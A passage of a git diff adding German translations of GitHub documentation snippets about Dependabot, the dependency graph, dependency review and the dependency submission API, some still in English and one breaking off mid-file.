+Bevor du {% data variables.product.prodname_dependabot_updates %} aktivierst, musst du {% data variables.location.product_location %} konfigurieren, um {% data variables.product.prodname_actions %} mit selbstgehosteten Runnern zu verwenden.
diff --git a/translations/de-DE/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md b/translations/de-DE/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md
new file mode 100644
index 0000000000..5a91d324de
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md
@@ -0,0 +1,10 @@
+Repository administrators can enable or disable the dependency graph for private repositories.
+
+You can also enable or disable the dependency graph for all repositories owned by your user account or organization. For more information, see "[Configuring the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+4. Read the message about granting {% data variables.product.product_name %} read-only access to the repository data to enable the dependency graph, then next to "Dependency Graph", click **Enable**.
+   !["Enable" button for the dependency graph](/assets/images/help/repository/dependency-graph-enable-button.png)
+   You can disable the dependency graph at any time by clicking **Disable** next to "Dependency Graph" on the settings page for {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Code security and analysis."{% else %}"Security & analysis."{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/enterprise-enable-dependabot.md b/translations/de-DE/data/reusables/dependabot/enterprise-enable-dependabot.md
new file mode 100644
index 0000000000..8ce6b0ae77
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/enterprise-enable-dependabot.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 0ba5f7f1ce6d9ebeb260aa7de13ce31dc280de49
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106909"
+---
+{% ifversion ghes %}
+
+{% note %}
+
+**Hinweis**: Dein Websiteadministrator muss {% data variables.product.prodname_dependabot_updates %} für {% data variables.location.product_location %} einrichten, damit du dieses Feature verwenden kannst. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).  
+  
+{% ifversion security-feature-enablement-policies %} Möglicherweise kannst du {% data variables.product.prodname_dependabot_updates %} nicht aktivieren oder deaktivieren, wenn ein Unternehmensbesitzer eine Richtlinie auf Unternehmensebene festgelegt hat. Weitere Informationen findest du unter [Erzwingen von Richtlinien für die Codesicherheit und -analyse für dein Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise).{% endif %}
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md b/translations/de-DE/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md
new file mode 100644
index 0000000000..349da96605
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/ghes-ghae-enabling-dependency-graph.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 08ae146622715d3cc8dfa4fdbc287fcd9b37f23f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063074"
+---
+Wenn das Abhängigkeitsdiagramm in deinem System nicht verfügbar ist, kann dein*e Unternehmensinhaber*in das Abhängigkeitsdiagramm aktivieren. Weitere Informationen findest du unter [Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).
diff --git a/translations/de-DE/data/reusables/dependabot/initial-updates.md b/translations/de-DE/data/reusables/dependabot/initial-updates.md
new file mode 100644
index 0000000000..f5c44f494c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/initial-updates.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8adf896da9e4748cfaa5d0d0562172af14264f97
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133494"
+---
+Beim ersten Aktivieren der Versionsaktualisierung sind möglicherweise viele Abhängigkeiten veraltet, und einige hinken der aktuellen Version um mehrere Versionen hinterher. {% data variables.product.prodname_dependabot %} führt sofort nach der Aktivierung eine Überprüfung auf veraltete Abhängigkeiten durch. Abhängig davon, für wie viele Manifestdateien du Updates konfigurierst, werden dir möglicherweise schon wenige Minuten nach dem Hinzufügen der Konfigurationsdatei neue Pull Requests für Versionsaktualisierungen angezeigt. {% data variables.product.prodname_dependabot %} führt auch bei späteren Änderungen an der Konfigurationsdatei eine Aktualisierung durch.
+
+{% data variables.product.prodname_dependabot %} kann auch Pull Requests erstellen, wenn du eine Manifestdatei änderst, nachdem ein Update fehlgeschlagen ist. Dies liegt daran, dass Änderungen an einem Manifest – beispielsweise das Entfernen einer Abhängigkeit, durch die ein Update fehlschlägt – dazu führen können, dass die neu ausgelöste Aktualisierung erfolgreich ist.
+
+Damit die Pull Requests überschaubar bleiben und leicht überprüft werden können, löst {% data variables.product.prodname_dependabot %} maximal fünf Pull Requests aus, um die Abhängigkeiten an die neueste Version anzupassen. Wenn einige der ersten Pull Requests vor der nächsten geplanten Aktualisierung gemergt werden, werden die verbleibenden Pull Requests beim nächsten Update geöffnet, bis zu diesem Höchstwert. Du kannst die maximale Anzahl offener Pull Requests ändern, indem du die [`open-pull-requests-limit`-Konfigurationsoption](/github/administering-a-repository/configuration-options-for-dependency-updates#open-pull-requests-limit) festlegst.
diff --git a/translations/de-DE/data/reusables/dependabot/option-affects-security-updates.md b/translations/de-DE/data/reusables/dependabot/option-affects-security-updates.md
new file mode 100644
index 0000000000..a6e1246028
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/option-affects-security-updates.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b180716cdb8b3d44d17a0266084934f8beb4e4c3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133486"
+---
+Das Festlegen dieser Option wirkt sich auch auf Pull Requests für Sicherheitsupdates für die Manifestdateien dieses Paket-Managers aus, es sei denn, du verwendest `target-branch`, um nach Versionsupdates auf einer nicht standardmäßigen Verzweigung zu suchen.
diff --git a/translations/de-DE/data/reusables/dependabot/private-dependencies-note.md b/translations/de-DE/data/reusables/dependabot/private-dependencies-note.md
new file mode 100644
index 0000000000..b05521a2a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/private-dependencies-note.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 74a6541cfbd0ad87d45a316cb46da45c227c9925
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133478"
+---
+Bei der Durchführung von Sicherheits- oder Versionsupdates müssen einige Ökosysteme in der Lage sein, alle Abhängigkeiten von der jeweiligen Quelle aufzulösen, um zu überprüfen, ob die Updates erfolgreich waren. Wenn deine Manifest- oder Sperrdateien private Abhängigkeiten enthalten, muss {% data variables.product.prodname_dependabot %} auf den Speicherort zugreifen können, an dem diese Abhängigkeiten gehostet werden. Organisationsbesitzer können {% data variables.product.prodname_dependabot %} Zugriff auf private Repositorys gewähren, die Abhängigkeiten für ein Projekt innerhalb derselben Organisation enthalten. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies). Du kannst den Zugriff auf private Registrierungen in der Konfigurationsdatei _dependabot.yml_ eines Repositorys konfigurieren. Weitere Informationen findest du unter [Konfigurationsoptionen für die Datei „dependabot.yml“](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries).
diff --git a/translations/de-DE/data/reusables/dependabot/private-dependencies.md b/translations/de-DE/data/reusables/dependabot/private-dependencies.md
new file mode 100644
index 0000000000..8d428a5b0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/private-dependencies.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0f47648322834fd8ec81dc4a975cdb8f92610a70
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133473"
+---
+Derzeit unterstützt {% data variables.product.prodname_dependabot_version_updates %} keine Manifest- oder Sperrdateien, die private Git-Abhängigkeiten oder private Git-Registrierungen enthalten. Dies liegt daran, dass {% data variables.product.prodname_dependabot %} beim Ausführen von Versionsupdates alle Abhängigkeiten von der Quelle aus auflösen muss, um sicherzustellen, dass Versionsupdates erfolgreich waren.
diff --git a/translations/de-DE/data/reusables/dependabot/pull-request-introduction.md b/translations/de-DE/data/reusables/dependabot/pull-request-introduction.md
new file mode 100644
index 0000000000..bd9071d300
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/pull-request-introduction.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 40caecb36e883a7330843fbe17a34ff1bf2c3bbb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145133470"
+---
+{% data variables.product.prodname_dependabot %} löst Pull Requests zum Aktualisieren von Abhängigkeiten aus. Je nachdem, wie Dein Repository konfiguriert ist, kann {% data variables.product.prodname_dependabot %} Pull Requests für Versionsupdates und/oder für Sicherheitsupdates auslösen. Du verwaltest diese Pull Requests auf dieselbe Weise wie alle anderen Pull Requests, aber es sind auch einige zusätzliche Befehle verfügbar. Weitere Informationen zum Aktivieren von {% data variables.product.prodname_dependabot %} findest Du unter „[Konfigurieren von {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)“ und „[Aktivieren und Deaktivieren von {% data variables.product.prodname_dependabot %}-Versionsupdates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates)“.
diff --git a/translations/de-DE/data/reusables/dependabot/pull-request-security-vs-version-updates.md b/translations/de-DE/data/reusables/dependabot/pull-request-security-vs-version-updates.md
new file mode 100644
index 0000000000..02c2399947
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/pull-request-security-vs-version-updates.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: beb94442275da611c58bf0697acdf1caf02bfa0e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133466"
+---
+Wenn {% data variables.product.prodname_dependabot %} Pull Requests auslöst, können diese Pull Requests für _Sicherheits_- oder _Versionsupdates_ gelten:
+
+- _{% data variables.product.prodname_dependabot_security_updates %}_ sind automatisierte Pull Requests, mit denen Du Abhängigkeiten mit bekannten Sicherheitsrisiken aktualisieren kannst. 
+- _{% data variables.product.prodname_dependabot_version_updates %}_ sind automatisierte Pull Requests, mit denen Deine Abhängigkeiten auf dem aktuellen Stand gehalten werden, auch wenn sie keine Sicherheitsrisiken aufweisen. Um den Status von Versionsupdates zu überprüfen, navigiere zur Registerkarte „Erkenntnisse“ Deines Repositorys, dann zum Abhängigkeitsdiagramm und {% data variables.product.prodname_dependabot %}.
diff --git a/translations/de-DE/data/reusables/dependabot/result-discrepancy.md b/translations/de-DE/data/reusables/dependabot/result-discrepancy.md
new file mode 100644
index 0000000000..634a197f70
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/result-discrepancy.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 581c8ed6d14bff0bf47befd9145d5729d3e635d9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887841"
+---
+Die Ergebnisse der von {% data variables.product.product_name %} gemeldeten Abhängigkeitserkennung unterscheiden sich möglicherweise von den Ergebnissen, die von anderen Tools zurückgegeben werden. Hierfür gibt es gute Gründe, und es ist hilfreich zu verstehen, wie {% data variables.product.prodname_dotcom %} Abhängigkeiten für dein Projekt bestimmt.
diff --git a/translations/de-DE/data/reusables/dependabot/sidebar-secret.md b/translations/de-DE/data/reusables/dependabot/sidebar-secret.md
new file mode 100644
index 0000000000..8882ba3273
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/sidebar-secret.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, select **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secrets**, then click **{% data variables.product.prodname_dependabot %}**.
+{% else %}
+1. In the sidebar, click **{% data variables.product.prodname_dependabot %}**.
+   ![{% data variables.product.prodname_dependabot %} secrets sidebar option](/assets/images/enterprise/3.3/dependabot/dependabot-secrets.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/supported-package-managers.md b/translations/de-DE/data/reusables/dependabot/supported-package-managers.md
new file mode 100644
index 0000000000..f190735717
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/supported-package-managers.md
@@ -0,0 +1,58 @@
+The following table shows, for each package manager:
+- The YAML value to use in the *dependabot.yml* file
+- The supported versions of the package manager
+- Whether dependencies in private {% data variables.product.prodname_dotcom %} repositories or registries are supported
+- Whether vendored dependencies are supported
+
+Package manager | YAML value      | Supported versions | Private repositories | Private registries | Vendoring
+---------------|------------------|------------------|:---:|:---:|:---:
+Bundler        | `bundler`        | v1, v2           | | **✓** | **✓** |
+Cargo          | `cargo`          | v1               | **✓** | **✓** | |
+Composer       | `composer`       | v1, v2           | **✓** | **✓** | |
+Docker         | `docker`         | v1               | **✓** | **✓** | |
+Hex            | `mix`            | v1               | | **✓** | |
+elm-package    | `elm`            | v0.19            | **✓** | **✓** | |
+git submodule  | `gitsubmodule`   | N/A (no version) | **✓** | **✓** | |
+GitHub Actions | `github-actions` | N/A (no version) | **✓** | **✓** | |
+Go modules     | `gomod`          | v1               | **✓** | **✓** | **✓** |
+Gradle         | `gradle`         | N/A (no version)<sup>[1]</sup>   | **✓** | **✓** | |
+Maven          | `maven`          | N/A (no version)<sup>[2]</sup>   | **✓** | **✓** | |
+npm            | `npm`            | v6, v7, v8       | **✓** | **✓** | |
+NuGet          | `nuget`          | <= 4.8<sup>[3]</sup> | **✓** | **✓** | |
+pip{% ifversion dependabot-PEP621-support %}<sup>[5]</sup>{% endif %}          | `pip`            | v21.1.2          | | **✓** | |
+pipenv         | `pip`            | <= 2021-05-29    | | **✓** | |
+pip-compile{% ifversion dependabot-PEP621-support %}<sup>[5]</sup>{% endif %}   | `pip`            | 6.1.0            | | **✓** | |
+poetry         | `pip`            | v1               | | **✓** | |{% ifversion fpt or ghec or ghes > 3.4 %}
+pub            | `pub`            | v2 <sup>[4]</sup> | | | |{% endif %}
+Terraform      | `terraform`      | >= 0.13, <= 1.2.x  | **✓** | **✓** | |
+{% ifversion dependabot-yarn-v3-update %}yarn           | `npm`            | v1, v2, v3       | **✓** | **✓** | **✓**<sup>[6]</sup> |{% else %}yarn           | `npm`            | v1               | **✓** | **✓** |  |
+{% endif %}
+
+{% tip %}
+
+**Tip:** For package managers such as `pipenv` and `poetry`, you need to use the `pip` YAML value. For example, if you use `poetry` to manage your Python dependencies and want {% data variables.product.prodname_dependabot %} to monitor your dependency manifest file for new versions, use `package-ecosystem: "pip"` in your *dependabot.yml* file.
+
+{% endtip %}
+
+[1] {% data variables.product.prodname_dependabot %} doesn't run Gradle but supports updates to the following files: `build.gradle`, `build.gradle.kts` (for Kotlin projects), and files included via the `apply` declaration that have `dependencies` in the filename. Note that `apply` does not support `apply to`, recursion, or advanced syntaxes (for example, Kotlin's `apply` with `mapOf`, filenames defined by property).
+
+[2] {% data variables.product.prodname_dependabot %} doesn't run Maven but supports updates to `pom.xml` files.
+
+[3] {% data variables.product.prodname_dependabot %} doesn't run the NuGet CLI but does support most features up until version 4.8.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+[4] {% ifversion ghes = 3.5 %}`pub` support is currently in beta. Any known limitations are subject to change. Note that {% data variables.product.prodname_dependabot %}:
+   - Doesn't support updating git dependencies for `pub`. 
+   - Won't perform an update when the version that it tries to update to is ignored, even if an earlier version is available.
+
+   For information about configuring your _dependabot.yml_ file for `pub`, see "[Enabling support for beta-level ecosystems](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#enable-beta-ecosystems)."
+   {%- else %}{% data variables.product.prodname_dependabot %} won't perform an update for `pub` when the version that it tries to update to is ignored, even if an earlier version is available.{% endif %}
+{% endif %} 
+
+
+{% ifversion dependabot-PEP621-support %}
+[5] In addition to supporting updates to `requirements.txt` files, {% data variables.product.prodname_dependabot %} supports updates to `pyproject.toml` files if they follow the PEP 621 standard. {% endif %}
+
+{% ifversion dependabot-yarn-v3-update %}
+[6] Dependabot supports vendored dependencies for v2 onwards.{% endif %}
+
diff --git a/translations/de-DE/data/reusables/dependabot/version-updates-for-actions.md b/translations/de-DE/data/reusables/dependabot/version-updates-for-actions.md
new file mode 100644
index 0000000000..ce00cb2c24
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/version-updates-for-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 57f9a694b633e6d24fbdfc4fb24b94d108b8cc82
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133458"
+---
+Du kannst auch {% data variables.product.prodname_dependabot_version_updates %} für die Aktionen aktivieren, die du deinem Workflow hinzufügst. Weitere Informationen findest du unter „[Aktualisieren deiner Aktionen mit {% data variables.product.prodname_dependabot %}](/github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot)“.
diff --git a/translations/de-DE/data/reusables/dependabot/vulnerable-calls-beta.md b/translations/de-DE/data/reusables/dependabot/vulnerable-calls-beta.md
new file mode 100644
index 0000000000..242c531cf9
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/vulnerable-calls-beta.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 1e0e1565612bf7107bee82249b8d330d695ca971
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880605"
+---
+{% ifversion dependabot-alerts-vulnerable-calls %}
+
+{% note %}
+
+**Hinweise:** 
+
+- Die Ermittlung von Aufrufen anfälliger Funktionen durch {% data variables.product.prodname_dependabot %} ist als Betaversion verfügbar. Änderungen sind vorbehalten.
+
+- {% data reusables.gated-features.dependency-vulnerable-calls %}
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependency-review/action-enterprise.md b/translations/de-DE/data/reusables/dependency-review/action-enterprise.md
new file mode 100644
index 0000000000..4778f17909
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/action-enterprise.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ff7a0c836b3df74110b4613fa032541e0f27d347
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109161"
+---
+{% ifversion ghes or ghae %} Unternehmensbesitzer*innen und Personen mit Administratorzugriff auf ein Repository können die {% data variables.product.prodname_dependency_review_action %} ihrem Unternehmen und Repository hinzufügen.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependency-review/dependency-review-action-beta-note.md b/translations/de-DE/data/reusables/dependency-review/dependency-review-action-beta-note.md
new file mode 100644
index 0000000000..47429730ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/dependency-review-action-beta-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 3f8e07d663acad262311066263894f6eb9573691
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063743"
+---
+{% note %}
+
+**Hinweis**: Die {% data variables.product.prodname_dependency_review_action %} liegt derzeit als öffentliche Betaversion vor und kann noch geändert werden.
+
+{% endnote %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/dependency-review/dependency-review-action-overview.md b/translations/de-DE/data/reusables/dependency-review/dependency-review-action-overview.md
new file mode 100644
index 0000000000..0695768026
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/dependency-review-action-overview.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 7e62876e5b30bfe98ea0f74229caf91a8328f4a4
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147773210"
+---
+Die {% data variables.product.prodname_dependency_review_action %} prüft deine Pull Requests auf Änderungen von Abhängigkeiten und gibt einen Fehler aus, wenn neue Abhängigkeiten bekannte Sicherheitsrisiken aufweisen. Die Aktion wird von einem API-Endpunkt unterstützt, der die Abhängigkeiten zwischen zwei Revisionen vergleicht und etwaige Unterschiede meldet.
+
+Weitere Informationen zur Aktion und zum API-Endpunkt findest du in der Dokumentation zu [`dependency-review-action`](https://github.com/actions/dependency-review-action) und unter [Abhängigkeitsüberprüfung](/rest/dependency-graph/dependency-review) in der API-Dokumentation.
diff --git a/translations/de-DE/data/reusables/dependency-review/dependency-review-enabled-ghes.md b/translations/de-DE/data/reusables/dependency-review/dependency-review-enabled-ghes.md
new file mode 100644
index 0000000000..ced1cc3ed4
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/dependency-review-enabled-ghes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 04b792fa838834d3513459d3653ca515c5e6955f
+ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: "148135727"
+---
+{% ifversion ghes %} Nachdem du das Abhängigkeitsdiagramm aktiviert hast, haben Benutzer Zugriff auf das Abhängigkeitsüberprüfungsfeature. {% data reusables.dependency-review.short-summary %} Weitere Informationen findest du unter [Informationen zur Abhängigkeitsüberprüfung](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/dependency-review/feature-overview.md b/translations/de-DE/data/reusables/dependency-review/feature-overview.md
new file mode 100644
index 0000000000..c67ed2cc4a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/feature-overview.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 94ab0d8deea02a960ddd3c376d3954aeef8b4544
+ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: "148135726"
+---
+{% data reusables.dependency-review.short-summary %} Sie bietet eine leicht verständliche Visualisierung von Abhängigkeitsänderungen mit Rich-Diff auf der Registerkarte „Geänderte Dateien“ eines Pull Requests. Die Abhängigkeitsüberprüfung informiert Dich über:
+- Welche Abhängigkeiten hinzugefügt, entfernt oder aktualisiert wurden, sowie die Veröffentlichungsdaten.
+- Wie viele Projekte diese Komponenten verwenden.
+- Sicherheitsrisikodaten für diese Abhängigkeiten.
diff --git a/translations/de-DE/data/reusables/dependency-review/short-summary.md b/translations/de-DE/data/reusables/dependency-review/short-summary.md
new file mode 100644
index 0000000000..c9030e294b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-review/short-summary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 294a579529f4f181f8269df3266d3c58bf251501
+ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: "148135708"
+---
+Die Abhängigkeitsüberprüfung hilft Dir, Abhängigkeitsänderungen und die Sicherheitswirkung dieser Änderungen bei jedem Pull Request zu verstehen.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/dependency-submission/about-dependency-submission.md b/translations/de-DE/data/reusables/dependency-submission/about-dependency-submission.md
new file mode 100644
index 0000000000..049c4ae201
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-submission/about-dependency-submission.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 23a47438a4b4091ec5034671fa226eff68a08ef6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080004"
+---
+Mit der API zur Abhängigkeitsübermittlung kannst du Abhängigkeiten für ein Projekt übermitteln. Dadurch kannst du Abhängigkeiten wie die, die beim Kompilieren oder Erstellen von Software aufgelöst werden, zum Abhängigkeitsdiagrammfeature von {% data variables.product.prodname_dotcom %} hinzufügen und ein vollständigeres Bild aller Abhängigkeiten deines Projekts bieten.
+
+Das Abhängigkeitsdiagramm zeigt alle Abhängigkeiten, die du mithilfe der API übermittelst, zusätzlich zu allen Abhängigkeiten, die von Manifest- oder Sperrdateien im Repository aus identifiziert werden (z. B. eine `package-lock.json`-Datei in einem JavaScript-Projekt). Weitere Informationen zum Anzeigen des Abhängigkeitsdiagramms findest du unter [Erkunden der Abhängigkeiten eines Repositorys](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#viewing-the-dependency-graph). 
+
+Übermittelte Abhängigkeiten erhalten {% data variables.product.prodname_dependabot_alerts %} und {% data variables.product.prodname_dependabot_security_updates %} für alle bekannten Sicherheitsrisiken. Du empfängst {% data variables.product.prodname_dependabot_alerts %} nur für Abhängigkeiten, die von einem der [unterstützten Ökosysteme](https://github.com/github/advisory-database#supported-ecosystems) von {% data variables.product.prodname_advisory_database %} stammen. Übermittelte Abhängigkeiten werden nicht in Abhängigkeitsüberprüfungen oder den Abhängigkeitserkenntnissen deiner Organisation angezeigt.
diff --git a/translations/de-DE/data/reusables/dependency-submission/dependency-submission-api-beta.md b/translations/de-DE/data/reusables/dependency-submission/dependency-submission-api-beta.md
new file mode 100644
index 0000000000..257a62fe4e
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-submission/dependency-submission-api-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 88147b7d5d8b856b9e8e785be4bea83c6bf1fbcd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147079992"
+---
+{% note %}
+
+**Hinweis:** Die Abhängigkeitsübermittlungs-API befindet sich derzeit in der öffentlichen Betaversion und kann geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/dependency-submission/dependency-submission-link.md b/translations/de-DE/data/reusables/dependency-submission/dependency-submission-link.md
new file mode 100644
index 0000000000..b32f841409
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependency-submission/dependency-submission-link.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d737ba71f2ac489193cebbfa9fed42f39c5c3e9a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080268"
+---
+Darüber hinaus kannst du mit der Abhängigkeitsübermittlungs-API (Beta) auch dann Abhängigkeiten vom Paket-Manager oder Ökosystem deiner Wahl übermitteln, wenn das Ökosystem nicht vom Abhängigkeitsdiagramm für Manifest- oder Sperrdateianalyse unterstützt wird. Das Abhängigkeitsdiagramm zeigt die übermittelten Abhängigkeiten nach Ökosystemen gruppiert an, jedoch getrennt von den aus Manifest- oder Sperrdateien analysierten Abhängigkeiten. Weitere Informationen zur Abhängigkeitsübermittlungs-API findest du unter [Verwenden der Abhängigkeitsübermittlungs-API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api).
diff --git a/translations/de-DE/data/reusables/desktop/2fa-in-browser.md b/translations/de-DE/data/reusables/desktop/2fa-in-browser.md
new file mode 100644
index 0000000000..af6513fa4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/2fa-in-browser.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 122f879fb460ae8bde2d1efa368d959f0ad040aa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133429"
+---
+1. Führe einen der folgenden Schritte aus, wenn du die zweistufige Authentifizierung (2FA) für {% data variables.product.prodname_dotcom %} konfiguriert hast:
